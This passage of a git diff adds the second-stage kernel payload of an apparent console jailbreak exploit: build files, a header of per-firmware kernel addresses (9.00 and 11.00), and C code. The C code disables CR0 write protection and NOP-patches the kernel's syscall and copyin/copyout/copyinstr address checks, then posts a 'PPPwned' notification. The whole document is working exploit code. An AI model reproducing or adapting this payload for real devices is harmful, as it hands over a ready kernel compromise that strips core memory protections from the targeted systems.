-fno-stack-protector +LDFLAGS = -T linker.ld -nostartfiles -nostdlib + +ifneq ($(filter $(FW), 900 1100),) +CFLAGS += -DFIRMWARE=$(FW) +else +$(error "Invalid firmware") +endif + +all: $(TARGET).bin + +%.bin: %.elf + $(OBJCOPY) -S -O binary $^ $@ + +$(TARGET).elf: $(OBJS) + $(CC) $(CFLAGS) $^ -o $@ $(LDFLAGS) + +clean: + @rm -f $(TARGET).bin $(TARGET).elf $(OBJS) diff --git a/stage2/linker.ld b/stage2/linker.ld new file mode 100644 index 00000000..92ef5bc2 --- /dev/null +++ b/stage2/linker.ld @@ -0,0 +1,22 @@ +OUTPUT_FORMAT("elf64-x86-64", "elf64-x86-64", "elf64-x86-64") +OUTPUT_ARCH(i386:x86-64) + +ENTRY(_start) + +PHDRS +{ + text PT_LOAD ; + rodata PT_LOAD ; + data PT_LOAD ; + bss PT_LOAD ; +} + +SECTIONS +{ + .text : { *(.text) } :text + .rodata : { *(.rodata) *(.rodata.*) } :rodata + .data : { *(.data) } :data + .bss : { *(.bss) *(COMMON) } :bss + .shstrtab : { *(.shstrtab) } + /DISCARD/ : { *(*) } +} diff --git a/stage2/offsets.h b/stage2/offsets.h new file mode 100644 index 00000000..1d33a83a --- /dev/null +++ b/stage2/offsets.h @@ -0,0 +1,64 @@ +/* + * Copyright (C) 2024 Andy Nguyen + * + * This software may be modified and distributed under the terms + * of the MIT license. See the LICENSE file for details. + */ + +#ifndef __OFFSETS_H__ +#define __OFFSETS_H__ + +#if FIRMWARE == 900 // FW 9.00 + +#define kdlsym_addr_Xfast_syscall 0xffffffff822001c0 + +#define kdlsym_addr_printf 0xffffffff822b7a30 + +#define kdlsym_addr_sysent 0xffffffff83300310 + +#define kdlsym_addr_amd_syscall_patch1 0xffffffff82200490 +#define kdlsym_addr_amd_syscall_patch2 0xffffffff822004b5 +#define kdlsym_addr_amd_syscall_patch3 0xffffffff822004b9 +#define kdlsym_addr_amd_syscall_patch4 0xffffffff822004c2 + +#define kdlsym_addr_copyin_patch1 0xffffffff824716f7 +#define kdlsym_addr_copyin_patch2 0xffffffff82471703 + +#define kdlsym_addr_copyout_patch1 0xffffffff82471602 +#define kdlsym_addr_copyout_patch2 0xffffffff8247160e + +#define kdlsym_addr_copyinstr_patch1 0xffffffff82471ba3 +#define kdlsym_addr_copyinstr_patch2 0xffffffff82471baf +#define kdlsym_addr_copyinstr_patch3 0xffffffff82471be0 + +#elif FIRMWARE == 1100 // FW 11.00 + +#define kdlsym_addr_Xfast_syscall 0xffffffff822001c0 +#define kdlsym_addr_printf 0xffffffff824fcbd0 + +#define kdlsym_addr_sysent 0xffffffff83301760 + +#define kdlsym_addr_amd_syscall_patch1 0xffffffff82200490 +#define kdlsym_addr_amd_syscall_patch2 0xffffffff822004b5 +#define kdlsym_addr_amd_syscall_patch3 0xffffffff822004b9 +#define kdlsym_addr_amd_syscall_patch4 0xffffffff822004c2 + +#define kdlsym_addr_copyin_patch1 0xffffffff824de037 +#define kdlsym_addr_copyin_patch2 0xffffffff824de043 + +#define kdlsym_addr_copyout_patch1 0xffffffff824ddf42 +#define kdlsym_addr_copyout_patch2 0xffffffff824ddf4e + +#define kdlsym_addr_copyinstr_patch1 0xffffffff824de4e3 +#define kdlsym_addr_copyinstr_patch2 0xffffffff824de4ef +#define kdlsym_addr_copyinstr_patch3 0xffffffff824de520 + +#else + +#error "Invalid firmware" + +#endif + +#define kdlsym(sym) (kaslr_offset + kdlsym_addr_##sym) + +#endif diff --git a/stage2/stage2.c b/stage2/stage2.c new file mode 100644 index 00000000..89b14cda --- /dev/null +++ b/stage2/stage2.c @@ -0,0 +1,160 @@ +/* + * Copyright (C) 2024 Andy Nguyen + * + * This software may be modified and distributed under the terms + * of the MIT license. See the LICENSE file for details. + */ + +// clang-format off +#define _KERNEL +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "offsets.h" +// clang-format on + +// by OSM-Made +typedef struct { + int type; + int reqId; + int priority; + int msgId; + int targetId; + int userId; + int unk1; + int unk2; + int appId; + int errorNum; + int unk3; + unsigned char useIconImageUri; + char message[1024]; + char iconUri[1024]; + char unk[1024]; +} OrbisNotificationRequest; + +struct sysent *sysents; + +static inline uint64_t rdmsr(u_int msr) { + uint32_t low, high; + asm volatile("rdmsr" : "=a"(low), "=d"(high) : "c"(msr)); + return (low | ((uint64_t)high << 32)); +} + +static inline void load_cr0(u_long data) { + asm volatile("movq %0, %%cr0" ::"r"(data)); +} + +static inline u_long rcr0(void) { + u_long data; + asm volatile("movq %%cr0, %0" : "=r"(data)); + return data; +} + +static int ksys_open(struct thread *td, const char *path, int flags, int mode) { + int (*sys_open)(struct thread *, struct open_args *) = + (void *)sysents[SYS_open].sy_call; + + td->td_retval[0] = 0; + + struct open_args uap; + uap.path = (char *)path; + uap.flags = flags; + uap.mode = mode; + int error = sys_open(td, &uap); + if (error) return -error; + + return td->td_retval[0]; +} + +static int ksys_write(struct thread *td, int fd, const void *buf, + size_t nbytes) { + int (*sys_write)(struct thread *, struct write_args *) = + (void *)sysents[SYS_write].sy_call; + + td->td_retval[0] = 0; + + struct write_args uap; + uap.fd = fd; + uap.buf = buf; + uap.nbyte = nbytes; + int error = sys_write(td, &uap); + if (error) return -error; + + return td->td_retval[0]; +} + +static int ksys_close(struct thread *td, int fd) { + int (*sys_close)(struct thread *, struct close_args *) = + (void *)sysents[SYS_close].sy_call; + + td->td_retval[0] = 0; + + struct close_args uap; + uap.fd = fd; + int error = sys_close(td, &uap); + if (error) return -error; + + return td->td_retval[0]; +} + +void stage2(void) { + uint64_t kaslr_offset = rdmsr(MSR_LSTAR) - kdlsym_addr_Xfast_syscall; + + int (*printf)(const char *format, ...) = (void *)kdlsym(printf); + + sysents = (struct sysent *)kdlsym(sysent); + + printf("stage2\n"); + + // Disable write protection + uint64_t cr0 = rcr0(); + load_cr0(cr0 & ~CR0_WP); + + // Allow syscalls everywhere + *(uint32_t *)kdlsym(amd_syscall_patch1) = 0; + *(uint16_t *)kdlsym(amd_syscall_patch2) = 0x9090; + *(uint16_t *)kdlsym(amd_syscall_patch3) = 0x9090; + *(uint8_t *)kdlsym(amd_syscall_patch4) = 0xeb; + + // Allow user and kernel addresses + uint8_t nops[] = {0x90, 0x90, 0x90}; + + *(uint16_t *)kdlsym(copyin_patch1) = 0x9090; + memcpy((void *)kdlsym(copyin_patch2), nops, sizeof(nops)); + + *(uint16_t *)kdlsym(copyout_patch1) = 0x9090; + memcpy((void *)kdlsym(copyout_patch2), nops, sizeof(nops)); + + *(uint16_t *)kdlsym(copyinstr_patch1) = 0x9090; + memcpy((void *)kdlsym(copyinstr_patch2), nops, sizeof(nops)); + *(uint16_t *)kdlsym(copyinstr_patch3) = 0x9090; + + // Restore write protection + load_cr0(cr0); + + // Send notification + OrbisNotificationRequest notify = {}; + notify.targetId = -1; + notify.useIconImageUri = 1; + memcpy(¬ify.message, "PPPwned", 8); + + struct thread *td = curthread; + + int fd; + fd = ksys_open(td, "/dev/notification0", O_WRONLY, 0); + if (!fd) fd = ksys_open(td, "/dev/notification0", O_WRONLY | O_NONBLOCK, 0); + if (!fd) fd = ksys_open(td, "/dev/notification1", O_WRONLY, 0); + if (!fd) fd = ksys_open(td, "/dev/notification1", O_WRONLY | O_NONBLOCK, 0); + + if (fd) { + ksys_write(td, fd, ¬ify, sizeof(notify)); + ksys_close(td, fd); + } +} diff --git a/stage2/start.S b/stage2/start.S new file mode 100644 index 00000000..42871360 --- /dev/null +++ b/stage2/start.S @@ -0,0 +1,13 @@ +/* + * Copyright (C) 2024 Andy Nguyen + * + * This software may be modified and distributed under the terms + * of the MIT license. See the LICENSE file for details. + */ + +.intel_syntax noprefix + +.section .text +.global _start +_start: + jmp stage2